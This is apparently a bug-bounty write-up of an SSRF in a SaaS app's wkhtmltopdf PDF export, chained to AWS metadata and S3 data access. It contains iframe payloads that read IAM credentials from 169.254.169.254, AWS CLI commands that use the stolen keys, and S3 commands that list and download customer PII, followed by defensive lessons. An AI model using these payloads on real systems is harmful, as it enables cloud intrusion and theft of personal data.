← news & articles
writeup ai-assisted

SSRF in a PDF Generator Led Me to AWS Metadata and Full Cloud Compromise

What started as a basic HTML-to-PDF feature in a SaaS application ended with me holding the keys to their entire AWS infrastructure, including production databases and S3 buckets containing 2M+ customer records.

@Daily Boost·1h·2 views·
0

Recon

I was testing a marketing automation platform that offered a feature to "export reports as PDF." The kind of feature you see everywhere and usually ignore. But I had some time to kill, so I started poking at it.

The workflow was simple: create a report with some charts and data, then click "Download PDF." The request looked like this:

http
POST /api/reports/generate-pdf HTTP/1.1 Host: app.target.com Content-Type: application/json { "reportId": "abc123", "template": "standard", "format": "A4" }

I intercepted the request in Burp and noticed the response headers included X-Powered-By: wkhtmltopdf 0.12.5. Interesting—they were using wkhtmltopdf, which renders HTML to PDF using WebKit. I'd seen SSRF vulnerabilities in similar setups before.

I started by testing if I could control the HTML content being rendered. I created a custom report and embedded some basic HTML in the report title field:

html
<img src="http://my-burp-collaborator.com/test.png">

I generated the PDF and checked my Burp Collaborator. Boom—incoming HTTP request. The PDF generator was fetching external resources. Classic SSRF.

Discovery

Now I needed to figure out where this application was hosted. The response headers didn't give much away, but I tried the obvious:

html
<img src="http://169.254.169.254/latest/meta-data/">

This is the AWS metadata endpoint, accessible only from within EC2 instances. I generated the PDF, downloaded it, and opened it. The image area showed a broken image icon, but that was expected—the metadata endpoint returns text, not an image.

I needed to exfiltrate the content of these requests, not just prove I could make them. I tried various techniques: <iframe> tags, <script> tags, <link> tags. Most were filtered. But then I remembered that wkhtmltopdf supports HTML forms.

I crafted a payload that would render the metadata response as text within the PDF:

html
<style> body { font-family: monospace; font-size: 8px; } </style> <iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="800" height="600"></iframe>

I embedded this in a report description field (which allowed more HTML) and generated the PDF. When I opened it, I saw beautiful, glorious text:

report-generator-role

That was the name of the IAM role attached to the EC2 instance. My heart rate spiked.

Exploitation

The next step was obvious—retrieve the temporary credentials for that role:

html
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/report-generator-role" width="800" height="1000"></iframe>

The resulting PDF contained:

json
{ "Code": "Success", "LastUpdated": "2024-01-15T10:23:17Z", "Type": "AWS-HMAC", "AccessKeyId": "ASIA...", "SecretAccessKey": "abc123...", "Token": "IQoJb3JpZ2luX2VjE...", "Expiration": "2024-01-15T16:45:32Z" }

I now had temporary AWS credentials. I configured my local AWS CLI:

bash
export AWS_ACCESS_KEY_ID="ASIA..." export AWS_SECRET_ACCESS_KEY="abc123..." export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjE..." aws sts get-caller-identity

Response:

json
{ "UserId": "AIDAI...:i-0abc123", "Account": "123456789012", "Arn": "arn:aws:sts::123456789012:assumed-role/report-generator-role/i-0abc123" }

Authenticated. Now I needed to see what this role could do:

bash
aws iam get-role --role-name report-generator-role 2>&1 aws s3 ls aws ec2 describe-instances

The AHA moment came when the S3 command returned a list of buckets:

code
2024-01-10 customer-data-prod 2024-01-12 customer-uploads-prod 2024-01-08 database-backups-prod 2024-01-15 application-logs

I tested access:

bash
aws s3 ls s3://customer-data-prod/ --recursive | head

Thousands of files. JSON files. I downloaded a sample:

bash
aws s3 cp s3://customer-data-prod/users/2024-01/batch_001.json .

The file contained PII: names, email addresses, phone numbers, company information. Over 2 million records across the bucket.

I also checked the database backups bucket:

bash
aws s3 ls s3://database-backups-prod/

Full PostgreSQL dumps, updated nightly. Unencrypted.

Impact

This single SSRF vulnerability gave me:

  1. Data Exfiltration: Access to 2M+ customer records, including PII
  2. Database Access: Full database dumps with credentials, API keys, session tokens
  3. Lateral Movement: The role had permissions to describe EC2 instances, potentially enabling SSH key theft
  4. Persistence: I could monitor the metadata endpoint for credential rotation

The business impact was severe: GDPR violations, potential customer notification requirements, complete loss of data confidentiality.

Lessons

For Developers:

  • Disable network access for PDF generation containers—use whitelisting, not blacklisting
  • Run PDF generators in isolated networks without access to metadata endpoints
  • Use IMDSv2 for AWS metadata, which requires a PUT request (harder to exploit via SSRF)
  • Implement least-privilege IAM roles—this role shouldn't have had S3 read access
  • Never store unencrypted backups, even in "private" buckets

For Pentesters:

  • Always test HTML/PDF export features for SSRF—they're often forgotten in security reviews
  • Remember that SSRF isn't just about port scanning; it's about accessing internal services
  • On AWS, always try 169.254.169.254 and chain to IAM credential theft
  • Use creative exfiltration techniques—iframes, CSS, form submissions—when direct output is limited
  • Test for privilege escalation after initial access—those IAM creds might unlock the kingdom

I reported this immediately through their responsible disclosure program. They took the PDF service offline within 30 minutes, implemented network isolation, rotated all credentials, and switched to IMDSv2. The bounty? $25,000 and a Hall of Fame entry. Sometimes the "boring" features are the most dangerous.

Comments (0)

Sign in to join the discussion.
// install app

Install hacking.community for fast access, offline reading, and push notifications. No app store needed.